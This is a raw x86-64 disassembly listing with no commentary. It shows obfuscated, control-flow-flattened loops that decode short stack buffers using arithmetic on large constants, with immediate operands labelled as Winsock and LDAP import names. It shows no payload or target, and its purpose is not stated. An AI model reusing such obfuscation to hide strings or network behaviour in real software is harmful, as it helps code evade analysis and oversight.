mov byte [rbp + 0x8a7], 0xff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8a8], xmm0
mov word [rbp + 0x8b8], ax
mov byte [rbp + 0x8ba], al
movabs r15, 0x8c09fd67f65dd56
movabs r14, 0x9b74e505acc6d16a
movabs r13, 0xb301068fb906426e
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor r11d, r11d
movabs rcx, 0xf439ef3af9e0477e
cmp r11, 0x23
jae 0x14008170e
movzx ebx, byte [rbp + r11 + 0x898]
mov rdx, rbx
cmp r8, r11
ja 0x140081705
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140080a9e
add rcx, r11
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x72
jmp 0x140080ae0
je 0x1400816a4
lea rax, [r9 + 2]
cmp r8, rax
je 0x140081609
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400815d6
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400815a8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081577
nop dword [rax + rax]
cmp r9, r11
ja 0x1400816fc
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140080b09
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
jmp 0x140080b30
lea rax, [r9 + 1]
cmp r8, rax
je 0x140081520
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400814bb
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081493
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400811a3
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008117e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008114d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008111f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400810f7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400810bc
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140081089
lea rax, [r9 + 4]
cmp r8, rax
je 0x140081062
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008103b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140081006
lea rax, [r9 + 6]
cmp r8, rax
je 0x140080b40
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x64]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400816d9
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140080d1e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140080d00
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140080ce1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140080f9e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140080f39
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140080ee8
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140080eba
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140080b40
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x40]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140080e80
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140080e5d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140080e2a
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140080df4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140080dd0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140080da7
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140080d76
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140080d4e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140080b40
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x20]
jmp 0x140080b40
lea rdx, [r11 + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140080b30
lea rdx, [r11 + r13]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x140080ae0
movabs rdx, 0xca8d2819c545b372
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub dl, 0x1e
add r10b, dl
movabs rcx, 0xf439ef3af9e0477e
jmp 0x140080a70
movabs rdx, 0x4604feb3fb2eeab0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140081542
movabs rdx, 0x5d91203e076e5bb4
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec r11
inc r11
jmp 0x140080a53
movabs rcx, 0x751d41c813adccb8
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 8
dec r11
inc r11
jmp 0x140080a53
movabs rdx, 0x8ca963521fed3dbc
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x24
jmp 0x1400814db
movabs rcx, 0xa43584dc2c2caec0
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
movabs rcx, 0xbbc1a666386c1fc4
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5c
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
movabs rcx, 0xd34dc7f044ab90c8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x14008162b
movabs rdx, 0x2660b045d2a72d0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
movabs rcx, 0x3d445edd7bc90d5a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x76
mov byte [rbp + r11 + 0x898], r10b
inc r11
jmp 0x140080a53
movabs rdx, 0x54d0806788087e5e
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x41
jb 0x140080ed8
movabs rdx, 0x4f15517f8f5c7c34
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140081542
movabs rdx, 0x6c5ca1f19447ef62
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x2a
jae 0x140081442
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140081336
movabs rdx, 0x3a8ea0e409d6e65c
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140080f0b
movabs rdx, 0x83e8c37ba0876066
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x140081468
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400812be
movabs rdx, 0x31ce010d8a710906
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x2a
add r10b, dl
jmp 0x140080f5c
movabs rcx, 0x3483bf06fc633004
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x1c
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
movabs rdx, 0x4c0fe09108a2a108
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14008165e
movabs rdx, 0x639c021b14e2120c
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x14008162b
movabs rcx, 0x7b2823a521218310
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
movabs rdx, 0x92b4452f2d60f414
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
movabs rdx, 0xaa4066b939a06518
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400814de
movabs rdx, 0xc1cc884345dfd61c
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x140080a53
movabs rdx, 0xd958a9cd521f4720
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec r11
inc r11
jmp 0x140080a53
movabs rdx, 0xf0e4cb575e5eb824
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14008153f
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400811d0
movabs rdx, 0xf439ef3af9e0477e
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x72
jmp 0x140080fbe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081213
movabs rdx, 0x11813facfecbbaac
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
inc rax
cmp r8, rax
jne 0x14008124e
movabs rcx, 0xcadcdb0eda0d67a0
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008128d
movabs rcx, 0xb350b984cdcdf69c
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x44
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080fc1
movabs rdx, 0x9bc497fac18e8598
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
jmp 0x1400814db
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400812ea
movabs rcx, 0x1a41df837e319802
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xe
jmp 0x140081542
inc rax
cmp r8, rax
jne 0x140081306
movabs rdx, 0xeb299c6f65b2b5fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400815b7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080f5c
movabs rcx, 0x8cf9164734b4f1ea
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
jmp 0x14008162b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081374
movabs rcx, 0x23027f59fd977558
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x68
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
inc rax
cmp r8, rax
jne 0x1400813a3
movabs rdx, 0xf3ea3c45e5189350
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x14008162b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400813e7
movabs rdx, 0xc4d1f931cc99b148
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140081404
movabs rdx, 0xad45d7a7c05a4044
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400814ca
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140081421
movabs rdx, 0x95b9b61db41acf40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400815b7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140080f0b
movabs rdx, 0x7e2d9493a7db5e3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140081586
movabs rdx, 0x37892ff5831d0b30
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + r11 + 0x898]
sub r10b, al
sub r10b, 0x50
jmp 0x1400814d8
movabs rcx, 0x1ffd0e6b76dd9a2c
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x898]
lea r10d, [rbx + rcx]
sub r10b, 0x34
jmp 0x14008162b
movabs rdx, 0x63ebb51029a9c63a
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14008162b
movabs rdx, 0xaa9019ae4e681946
mov ecx, listen
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rdx, 0x2bc31f307cfd52ae
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x898], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
movabs rdx, 0xf1347e4c73266c52
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x3e
add r10b, dl
movabs rdx, 0x434f40ba893cc3b2
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x898], cl
inc r9
dec r11
inc r11
jmp 0x140080a53
movabs rdx, 0x37d8e2ea97e4bf5e
mov ecx, gethostname
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x140080a53
movabs rdx, 0x4f650474a4243062
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r11
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x140080a53
movabs rcx, 0x96096912c8e2836e
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 2
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080a53
mov rbx, rdx
movabs rcx, 0xad958a9cd521f472
add rcx, r11
and dl, cl
add dl, dl
movzx r10d, bl
sub r10b, dl
sub r10b, 0x1e
add r10b, cl
movabs rdx, 0x1436fda670bde1aa
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x898], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x870ece16a9e2928
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x18
add bl, cl
mov byte [rbp + r11 + 0x898], bl
inc r8
mov rax, r12
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
movabs rcx, 0xdcadcdb0eda0d67a
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x56
movzx eax, byte [rbp + r11 + 0x898]
add rax, r9
add r11, rax
inc r11
jmp 0x140080a53
movabs rcx, 0xf9a56b2dddc4957a
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x56
jmp 0x140080a33
lea rcx, [rbp + 0x1701140]
jmp 0x140081715
lea rcx, [rbp + 0x5058be]
jmp 0x140081715
lea rcx, [rbp + 0x898]
mov dword [rbp + 0xfd0], 0x64
mov dword [rbp + 0xfd8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfd0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfd8]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xd70], Ordinal_217
mov byte [rbp + 0xd71], 8
mov byte [rbp + 0xd72], 0xb2
xorps xmm0, xmm0
movups xmmword [rbp + 0xd73], xmm0
movups xmmword [rbp + 0xd83], xmm0
movabs rsi, 0x80c7584afff268f8
movabs r13, 0x73d8bb0fc30b8b18
movabs r14, 0xe6ad918ee7448608
movabs r15, 0xfefc1b6f612d6fd8
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008262c
movzx edi, byte [rbp + rbx + 0xd70]
mov r10, rdi
cmp r8, rbx
ja 0x140082623
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140081803
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdi
add r11b, 0x58
jmp 0x140081856
je 0x140082592
inc rax
cmp r8, rax
je 0x140082525
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400824c9
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082492
lea rax, [r9 + 5]
cmp r8, rax
je 0x140082441
lea rax, [r9 + 7]
cmp r8, rax
je 0x140082413
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400823ba
cmp r9, rbx
ja 0x14008261a
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x140081885
lea rdx, [rbx + rsi]
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400818d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140082398
inc rax
cmp r8, rax
je 0x140082369
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082344
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008230b
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400822e5
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140081f44
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140081f20
lea rax, [r9 + 9]
cmp r8, rax
je 0x140081ef3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140081ec4
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140081ea0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140081e7c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140081e43
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140081e1f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140081df7
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081dbd
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400818e0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400825f1
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400825cc
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140081ace
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140081aae
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140081a8f
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140081d54
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140081cf0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140081c9e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140081c6f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400818e0
lea r8, [r9 + 0x200]
lea r9, [r8 + 4]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140081c49
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140081c21
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140081bfc
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140081bc3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140081ba2
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140081b7d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140081b4e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140081b1c
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140081af7
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400818e0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
jmp 0x1400818e0
lea rdx, [rbx + r14]
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1400818d0
lea rdx, [rbx + r15]
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140081856
movabs rdx, 0x174aa54fdb1659a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400817d4
movabs rdx, 0x63ac257ff9347c0
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x40
jmp 0x1400823da
movabs rdx, 0x1e894c38797c3190
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400817c2
movabs rdx, 0x36d7d618f3651b60
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
dec rbx
inc rbx
jmp 0x1400817c2
movabs rdx, 0x4f265ff96d4e0530
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x50
jmp 0x140082462
movabs rcx, 0x6774e9d9e736ef00
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
jmp 0x1400824b1
movabs rdx, 0x7fc373ba611fd8d0
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817c2
movabs rdx, 0x9811fd9adb08c2a0
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x60
jmp 0x1400824ed
movabs rdx, 0xb060877b54f1ac70
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x140082548
movabs rdx, 0xc8af115bceda9640
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400825b3
movabs rcx, 0x85736a0cffa0dec8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
mov byte [rbp + rbx + 0xd70], r11b
inc rbx
jmp 0x1400817c2
movabs rcx, 0x9dc1f3ed7989c898
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
cmp r9, 0x3e8
jb 0x140081c8e
movabs rdx, 0x285a8847b6996b90
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, dil
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400823dd
movabs rdx, 0xb6107dcdf372b268
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r8, 0x10
jae 0x14008228d
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14008218d
movabs rdx, 0x1b6beb0c79b28db0
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x140081cbd
movabs rdx, 0xce5f07ae6d5b9c38
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400822b7
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140082052
movabs rdx, 0x9aa492c179c024b8
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140081d14
movabs rdx, 0x4ac11c1ffae75d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xd70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400817c2
movabs rdx, 0x1cfa9ba279975fa0
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x140082548
movabs rcx, 0x35492582f3804970
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
jmp 0x1400824f0
movabs rdx, 0x4d97af636d693340
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400817c2
movabs rcx, 0x65e63943e7521d10
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x1400824b1
movabs rcx, 0x7e34c324613b06e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
jmp 0x140082465
movabs rdx, 0x96834d04db23f0b0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x1400817c2
movabs rcx, 0xaed1d6e5550cda80
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400817c2
movabs rcx, 0xc72060c5cef5c450
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
jmp 0x1400823dd
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140081f64
lea rdx, [rbx + r13]
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
jmp 0x140081d6c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081f93
movabs rdx, 0x18eb095ffe4d1f0
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400825b3
inc rax
cmp r8, rax
jne 0x140081fc0
movabs rdx, 0xd0f19cd50c12fe50
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x30
jmp 0x1400824ed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140081fed
movabs rcx, 0x8805ff339e5840e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
